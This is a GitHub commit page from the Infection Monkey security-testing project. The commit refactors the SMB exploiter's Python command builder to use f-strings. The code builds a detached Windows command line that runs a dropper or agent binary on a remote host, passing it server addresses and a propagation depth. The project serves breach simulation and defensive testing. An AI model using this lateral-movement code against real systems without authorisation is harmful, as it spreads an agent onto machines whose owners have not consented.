Skip to content

Commit

Permalink
SMB: Use f-strings to build command
Browse files Browse the repository at this point in the history
  • Loading branch information
cakekoa authored and ilija-lazoroski committed Mar 13, 2023
1 parent a373a3f commit 74f626c
Showing 1 changed file with 11 additions and 18 deletions.
29 changes: 11 additions & 18 deletions monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,15 +4,6 @@
from infection_monkey.model import CMD_PREFIX, DROPPER_ARG, MONKEY_ARG
from infection_monkey.utils.commands import build_monkey_commandline

DROPPER_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(dropper_path)s %s" % (
CMD_PREFIX,
DROPPER_ARG,
)
MONKEY_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(monkey_path)s %s" % (
CMD_PREFIX,
MONKEY_ARG,
)


def build_smb_command(
servers: Sequence[str],
Expand All @@ -21,16 +12,18 @@ def build_smb_command(
remote_agent_binary_destination_path: PurePath,
) -> str:
if remote_agent_binary_full_path.lower() != str(remote_agent_binary_destination_path).lower():
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
"dropper_path": remote_agent_binary_full_path
} + build_monkey_commandline(
servers,
current_depth + 1,
str(remote_agent_binary_destination_path),
cmdline = (
f"{CMD_PREFIX} start cmd /c {remote_agent_binary_full_path} {DROPPER_ARG}"
+ build_monkey_commandline(
servers,
current_depth + 1,
str(remote_agent_binary_destination_path),
)
)
else:
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {
"monkey_path": remote_agent_binary_full_path
} + build_monkey_commandline(servers, current_depth + 1)
cmdline = (
f"{CMD_PREFIX} start cmd /c {remote_agent_binary_full_path} {MONKEY_ARG}"
+ build_monkey_commandline(servers, current_depth + 1)
)

return cmdline

0 comments on commit 74f626c

Please sign in to comment.